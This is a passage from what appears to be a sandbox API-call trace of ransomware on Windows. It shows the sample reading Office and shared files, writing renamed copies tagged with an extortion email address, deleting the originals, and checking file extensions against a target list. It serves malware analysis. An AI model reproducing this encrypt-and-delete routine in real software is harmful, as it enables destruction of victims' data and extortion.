dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0116.420] SetEndOfFile (hFile=0x1b4) returned 1 [0116.421] CloseHandle (hObject=0x1b4) returned 1 [0116.421] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0116.421] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 1 [0116.426] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0116.426] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0116.426] lstrlenW (lpString=".doc") returned 4 [0116.426] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.426] lstrlenW (lpString=".docx") returned 5 [0116.426] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0116.426] lstrlenW (lpString=".pdf") returned 4 [0116.426] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.426] lstrlenW (lpString=".xls") returned 4 [0116.426] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.426] lstrlenW (lpString=".xlsx") returned 5 [0116.426] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0116.426] lstrlenW (lpString=".ppt") returned 4 [0116.426] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.426] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0116.426] lstrlenW (lpString=".zip") returned 4 [0116.426] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.426] lstrlenW (lpString=".rar") returned 4 [0116.426] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.426] lstrlenW (lpString=".bz2") returned 4 [0116.426] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.426] lstrlenW (lpString=".7z") returned 3 [0116.426] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.426] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0116.427] lstrlenW (lpString=".dbf") returned 4 [0116.427] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0116.427] lstrlenW (lpString=".1cd") returned 4 [0116.427] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0116.427] lstrlenW (lpString=".jpg") returned 4 [0116.427] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0116.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0116.427] lstrlenW (lpString=".doc") returned 4 [0116.427] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.427] lstrlenW (lpString=".docx") returned 5 [0116.427] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0116.427] lstrlenW (lpString=".pdf") returned 4 [0116.427] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.427] lstrlenW (lpString=".xls") returned 4 [0116.427] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.427] lstrlenW (lpString=".xlsx") returned 5 [0116.427] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0116.427] lstrlenW (lpString=".ppt") returned 4 [0116.427] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0116.427] lstrlenW (lpString=".zip") returned 4 [0116.427] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.427] lstrlenW (lpString=".rar") returned 4 [0116.427] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.427] lstrlenW (lpString=".bz2") returned 4 [0116.427] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.427] lstrlenW (lpString=".7z") returned 3 [0116.427] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0116.427] lstrlenW (lpString=".dbf") returned 4 [0116.427] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0116.427] lstrlenW (lpString=".1cd") returned 4 [0116.427] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0116.428] lstrlenW (lpString=".jpg") returned 4 [0116.428] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.428] lstrcmpiW (lpString1=".EPS", lpString2=".gdb") returned -1 [0116.428] lstrlenW (lpString="MS.EPS") returned 6 [0116.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0117.000] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=15067) returned 1 [0117.000] CloseHandle (hObject=0x194) returned 1 [0117.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 0x20 [0117.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0117.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0117.001] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0117.001] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0117.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0117.001] GetLastError () returned 0x0 [0117.001] ReadFile (in: hFile=0x194, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x3adb, lpOverlapped=0x0) returned 1 [0117.276] WriteFile (in: hFile=0x1bc, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x3ae0, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x3ae0, lpOverlapped=0x0) returned 1 [0117.277] ReadFile (in: hFile=0x194, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0117.277] WriteFile (in: hFile=0x1bc, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xe0, lpOverlapped=0x0) returned 1 [0117.277] SetEndOfFile (hFile=0x1bc) returned 1 [0117.277] CloseHandle (hObject=0x1bc) returned 1 [0117.278] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0117.278] SetEndOfFile (hFile=0x194) returned 1 [0117.279] CloseHandle (hObject=0x194) returned 1 [0117.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0117.279] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 1 [0117.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0117.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0117.279] lstrlenW (lpString=".doc") returned 4 [0117.279] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0117.279] lstrlenW (lpString=".docx") returned 5 [0117.279] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0117.279] lstrlenW (lpString=".pdf") returned 4 [0117.280] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0117.280] lstrlenW (lpString=".xls") returned 4 [0117.280] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0117.280] lstrlenW (lpString=".xlsx") returned 5 [0117.280] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0117.280] lstrlenW (lpString=".ppt") returned 4 [0117.280] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0117.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0117.280] lstrlenW (lpString=".zip") returned 4 [0117.280] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0117.280] lstrlenW (lpString=".rar") returned 4 [0117.280] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0117.280] lstrlenW (lpString=".bz2") returned 4 [0117.280] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0117.280] lstrlenW (lpString=".7z") returned 3 [0117.280] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0117.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0117.280] lstrlenW (lpString=".dbf") returned 4 [0117.280] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0117.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0117.280] lstrlenW (lpString=".1cd") returned 4 [0117.280] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0117.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0117.280] lstrlenW (lpString=".jpg") returned 4 [0117.280] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0117.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0117.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0117.280] lstrlenW (lpString=".doc") returned 4 [0117.280] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0117.280] lstrlenW (lpString=".docx") returned 5 [0117.280] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0117.280] lstrlenW (lpString=".pdf") returned 4 [0117.280] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0117.280] lstrlenW (lpString=".xls") returned 4 [0117.280] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0117.281] lstrlenW (lpString=".xlsx") returned 5 [0117.281] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0117.281] lstrlenW (lpString=".ppt") returned 4 [0117.281] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0117.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0117.281] lstrlenW (lpString=".zip") returned 4 [0117.281] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0117.281] lstrlenW (lpString=".rar") returned 4 [0117.281] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0117.281] lstrlenW (lpString=".bz2") returned 4 [0117.281] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0117.281] lstrlenW (lpString=".7z") returned 3 [0117.281] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0117.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0117.281] lstrlenW (lpString=".dbf") returned 4 [0117.281] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0117.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0117.281] lstrlenW (lpString=".1cd") returned 4 [0117.281] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0117.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0117.281] lstrlenW (lpString=".jpg") returned 4 [0117.281] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0117.281] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0117.281] lstrlenW (lpString="ipsdeu.xml") returned 10 [0117.281] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0117.426] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=2616) returned 1 [0117.426] CloseHandle (hObject=0x1c4) returned 1 [0117.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0117.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0117.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0117.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0117.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0117.427] lstrlenW (lpString=".doc") returned 4 [0117.427] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.427] lstrlenW (lpString=".docx") returned 5 [0117.427] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0117.427] lstrlenW (lpString=".pdf") returned 4 [0117.427] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.427] lstrlenW (lpString=".xls") returned 4 [0117.427] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.427] lstrlenW (lpString=".xlsx") returned 5 [0117.427] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0117.427] lstrlenW (lpString=".ppt") returned 4 [0117.427] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0117.427] lstrlenW (lpString=".zip") returned 4 [0117.427] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.427] lstrlenW (lpString=".rar") returned 4 [0117.427] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.427] lstrlenW (lpString=".bz2") returned 4 [0117.427] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.427] lstrlenW (lpString=".7z") returned 3 [0117.427] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0117.427] lstrlenW (lpString=".dbf") returned 4 [0117.427] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0117.427] lstrlenW (lpString=".1cd") returned 4 [0117.427] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0117.427] lstrlenW (lpString=".jpg") returned 4 [0117.427] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0117.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0117.427] lstrlenW (lpString=".doc") returned 4 [0117.427] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.428] lstrlenW (lpString=".docx") returned 5 [0117.428] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0117.428] lstrlenW (lpString=".pdf") returned 4 [0117.428] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.428] lstrlenW (lpString=".xls") returned 4 [0117.428] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.428] lstrlenW (lpString=".xlsx") returned 5 [0117.428] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0117.428] lstrlenW (lpString=".ppt") returned 4 [0117.428] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0117.428] lstrlenW (lpString=".zip") returned 4 [0117.428] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.428] lstrlenW (lpString=".rar") returned 4 [0117.428] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.428] lstrlenW (lpString=".bz2") returned 4 [0117.428] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.428] lstrlenW (lpString=".7z") returned 3 [0117.428] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0117.428] lstrlenW (lpString=".dbf") returned 4 [0117.428] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0117.428] lstrlenW (lpString=".1cd") returned 4 [0117.428] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0117.428] lstrlenW (lpString=".jpg") returned 4 [0117.428] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.428] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0117.428] lstrlenW (lpString="ipsen.xml") returned 9 [0117.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0117.429] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=2578) returned 1 [0117.429] CloseHandle (hObject=0x1c4) returned 1 [0117.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0117.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0117.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0117.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0117.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0117.430] lstrlenW (lpString=".doc") returned 4 [0117.430] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.430] lstrlenW (lpString=".docx") returned 5 [0117.430] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0117.430] lstrlenW (lpString=".pdf") returned 4 [0117.430] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.430] lstrlenW (lpString=".xls") returned 4 [0117.430] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.430] lstrlenW (lpString=".xlsx") returned 5 [0117.430] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0117.430] lstrlenW (lpString=".ppt") returned 4 [0117.430] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0117.430] lstrlenW (lpString=".zip") returned 4 [0117.430] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.430] lstrlenW (lpString=".rar") returned 4 [0117.430] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.430] lstrlenW (lpString=".bz2") returned 4 [0117.430] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.430] lstrlenW (lpString=".7z") returned 3 [0117.430] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0117.430] lstrlenW (lpString=".dbf") returned 4 [0117.430] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0117.430] lstrlenW (lpString=".1cd") returned 4 [0117.430] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0117.430] lstrlenW (lpString=".jpg") returned 4 [0117.430] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0117.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0117.431] lstrlenW (lpString=".doc") returned 4 [0117.431] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.431] lstrlenW (lpString=".docx") returned 5 [0117.431] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0117.431] lstrlenW (lpString=".pdf") returned 4 [0117.431] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.431] lstrlenW (lpString=".xls") returned 4 [0117.431] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.431] lstrlenW (lpString=".xlsx") returned 5 [0117.431] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0117.431] lstrlenW (lpString=".ppt") returned 4 [0117.431] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0117.431] lstrlenW (lpString=".zip") returned 4 [0117.431] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.431] lstrlenW (lpString=".rar") returned 4 [0117.431] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.431] lstrlenW (lpString=".bz2") returned 4 [0117.431] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.431] lstrlenW (lpString=".7z") returned 3 [0117.431] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0117.431] lstrlenW (lpString=".dbf") returned 4 [0117.431] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0117.431] lstrlenW (lpString=".1cd") returned 4 [0117.431] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0117.431] lstrlenW (lpString=".jpg") returned 4 [0117.431] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.431] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0117.431] lstrlenW (lpString="ipsesp.xml") returned 10 [0117.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0117.432] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=3024) returned 1 [0117.432] CloseHandle (hObject=0x1c4) returned 1 [0117.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0117.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0117.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 